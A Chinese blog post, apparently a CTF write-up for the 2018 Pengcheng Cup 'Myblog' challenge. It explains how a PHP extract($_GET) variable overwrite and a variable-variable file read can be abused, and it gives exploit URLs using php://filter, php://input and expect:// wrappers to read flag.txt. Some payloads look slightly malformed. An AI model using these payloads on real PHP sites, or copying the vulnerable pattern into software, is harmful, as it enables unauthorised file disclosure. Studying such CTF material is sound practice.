threst's Blog

2018鹏城杯Myblog思考

2018/12/20 Share

直接给出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);

if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($$falg);
}
else{
echo 'don`t give up';
}
}

首先这个考了两个点,第一个是变量覆盖,第二个是php的可变变量,第一个好绕过直接传参的时候赋值就行

http://127.0.0.1/pc.php?sign=&filename==1
可以绕过,但是没有flag,只有Congratulation

接下来就是绕过第二个可变变量。

举个例子

1
2
3
4
5

<?php
$a = 'hello';
$$a = 'world';
?>

那么$a–>hello,$hello–>world

那么我们这么想,我们要把flag.txt的值给$falg,但是不能直接给,但是直接给不了!我们尝试使用第三方,随便弄个f变量来承担这一艰巨的任务

大致流程:

1
2
$falg-->$f                        //把值给f
$f-->flag.txt //flag.txt的值给f

尝试以下的paylaod都可以
paylaod:
http://127.0.0.1/pc.php?sign=&filename=expect://&falg=f&f=flag.txt
http://127.0.0.1/pc.php?sign=&filename=php://filter&falg=f&f=flag.txt
http://127.0.0.1/pc.php?sign=&filename=php://input&falg=f&f=flag.txt

瞎编改题

将代码改成这要,去掉一个$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$filename = 'flag.txt';
$flag = 'flag.txt';
extract($_GET);

if(isset($sign)){
$file = trim(file_get_contents($filename));
if($sign === $file){
echo 'Congratulation!<br>';
echo file_get_contents($falg);
}
else{
echo 'don`t give up';
}
}

这样就不需要第三方的的f来做红娘了,直接把flag.txt的数据给falg,再使用php://input来读取就ok

payload:
http://127.0.0.1/pc.php?sign=&filename=php://input=falg&falg=flag.txt

CATALOG
  1. 1. 瞎编改题